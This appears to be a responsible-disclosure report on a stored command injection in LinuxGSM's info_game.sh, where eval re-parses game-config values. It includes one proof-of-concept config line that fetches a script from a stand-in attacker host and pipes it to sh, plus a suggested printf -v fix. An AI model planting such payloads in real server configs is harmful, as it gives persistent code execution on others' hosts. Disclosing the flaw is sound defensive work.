Security: game-server config values parsed via eval in info_game.sh - stored command injection

[Pajt9whauht283as]

Security report (responsible disclosure)

Game-server config values parsed through eval in info_game.sh — stored command injection

Affected: lgsm/modules/info_game.sh:34 (identical pattern at lines 59, 84, 109, 147, 185, 210, 233, 258)

eval "${1}=\"$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')\""

The value extracted from the game's own config file is substituted into a string that eval then re-parses. A config value containing backticks or $( ) executes as a command.

Real callers feed attacker-reachable keys — e.g. info_game.sh:963-964 parse game.serverName / game.serverPassword from Battlefield-style .con configs. Anyone who can persist settings into the game server's config (in-game RCON admin, web panel, file manager, or a remote admin of the game itself) writes:

game.serverName "x$(curl http://attacker.tld/s|sh)"

The next ./gameserver start/monitor/details cycle parses the config and executes the payload as the LinuxGSM user — re-triggered forever.

Severity

Medium (same-user boundary: game process/remote-game-admin → host shell; becomes root-relevant in setups running LGSM cron as root). Defense-in-depth violation of CWE-78/CWE-95.

Suggested fix

Replace every parse-helper eval with safe dynamic assignment:

printf -v "${1}" '%s' "$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')"

No eval needed anywhere in these helpers.